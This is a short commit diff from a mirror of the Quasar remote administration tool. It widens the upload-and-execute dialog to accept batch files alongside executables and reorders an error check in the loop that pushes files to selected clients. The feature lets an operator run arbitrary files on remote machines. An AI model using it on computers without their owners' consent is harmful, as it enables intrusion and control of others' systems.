mirror of https://github.com/quasar/Quasar.git
Allowed file dialogue to select .bat files.
This commit is contained in:
parent
7ac9caace2
commit
e29fce5c20
|
@ -75,7 +75,7 @@ public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExe
|
|||
|
||||
try
|
||||
{
|
||||
if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z')
|
||||
if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z') //TODO check for a batch file.
|
||||
throw new Exception("No executable file");
|
||||
|
||||
FileSplit destFile = new FileSplit(filePath);
|
||||
|
|
|
@ -647,7 +647,6 @@ private void ctxtLocalFile_Click(object sender, EventArgs e)
|
|||
foreach (Client c in GetSelectedClients())
|
||||
{
|
||||
if (c == null) continue;
|
||||
if (error) continue;
|
||||
|
||||
FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath);
|
||||
if (srcFile.MaxBlocks < 0)
|
||||
|
@ -658,6 +657,8 @@ private void ctxtLocalFile_Click(object sender, EventArgs e)
|
|||
break;
|
||||
}
|
||||
|
||||
if(error) continue;
|
||||
|
||||
int id = FileHelper.GetNewTransferId();
|
||||
|
||||
CommandHandler.HandleSetStatus(c,
|
||||
|
|
|
@ -27,7 +27,7 @@ private void btnBrowse_Click(object sender, EventArgs e)
|
|||
using (OpenFileDialog ofd = new OpenFileDialog())
|
||||
{
|
||||
ofd.Multiselect = false;
|
||||
ofd.Filter = "Executable (*.exe)|*.exe";
|
||||
ofd.Filter = "Executable (*.exe)|*.exe|Batch (*.bat)|*.bat";
|
||||
if (ofd.ShowDialog() == DialogResult.OK)
|
||||
{
|
||||
txtPath.Text = ofd.FileName;
|
||||
|
|
Loading…
Reference in New Issue